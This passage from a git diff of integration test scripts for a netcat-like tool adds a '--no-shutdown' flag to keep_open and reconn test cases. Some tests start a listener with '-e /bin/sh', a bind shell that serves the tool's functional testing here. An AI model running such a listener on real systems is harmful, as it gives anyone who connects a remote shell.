"${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/100---tcp---server_reacc---three_clients---server_default---srv_send-cli_nosend-cli_send.sh b/tests/integration/22-options---keep_open/100---tcp---server_reacc---three_clients---server_default---srv_send-cli_nosend-cli_send.sh index 541420b0..6220ad2b 100755 --- a/tests/integration/22-options---keep_open/100---tcp---server_reacc---three_clients---server_default---srv_send-cli_nosend-cli_send.sh +++ b/tests/integration/22-options---keep_open/100---tcp---server_reacc---three_clients---server_default---srv_send-cli_nosend-cli_send.sh @@ -308,24 +308,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/101---tcp---server_reacc---three_clients---server_default---srv_send-cli_send-cli_send.sh b/tests/integration/22-options---keep_open/101---tcp---server_reacc---three_clients---server_default---srv_send-cli_send-cli_send.sh index bc5cb41c..7e46ae14 100755 --- a/tests/integration/22-options---keep_open/101---tcp---server_reacc---three_clients---server_default---srv_send-cli_send-cli_send.sh +++ b/tests/integration/22-options---keep_open/101---tcp---server_reacc---three_clients---server_default---srv_send-cli_send-cli_send.sh @@ -317,24 +317,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/200---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_nosend-cli_send.sh b/tests/integration/22-options---keep_open/200---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_nosend-cli_send.sh index acc715ab..df827314 100755 --- a/tests/integration/22-options---keep_open/200---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_nosend-cli_send.sh +++ b/tests/integration/22-options---keep_open/200---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_nosend-cli_send.sh @@ -299,24 +299,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/201---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_send-cli_send.sh b/tests/integration/22-options---keep_open/201---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_send-cli_send.sh index 3219e32c..d9318400 100755 --- a/tests/integration/22-options---keep_open/201---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_send-cli_send.sh +++ b/tests/integration/22-options---keep_open/201---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_send-cli_send.sh @@ -308,24 +308,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/202---tcp---server_reacc---three_clients---server_command---cli_send-cli_send-cli_send.sh b/tests/integration/22-options---keep_open/202---tcp---server_reacc---three_clients---server_command---cli_send-cli_send-cli_send.sh index fb149495..25a0e281 100755 --- a/tests/integration/22-options---keep_open/202---tcp---server_reacc---three_clients---server_command---cli_send-cli_send-cli_send.sh +++ b/tests/integration/22-options---keep_open/202---tcp---server_reacc---three_clients---server_command---cli_send-cli_send-cli_send.sh @@ -317,24 +317,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/23-options---reconn/000---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_nosend-srv_send.sh b/tests/integration/23-options---reconn/000---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_nosend-srv_send.sh index da143ed8..da0350d5 100755 --- a/tests/integration/23-options---reconn/000---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_nosend-srv_send.sh +++ b/tests/integration/23-options---reconn/000---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_nosend-srv_send.sh @@ -276,24 +276,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l 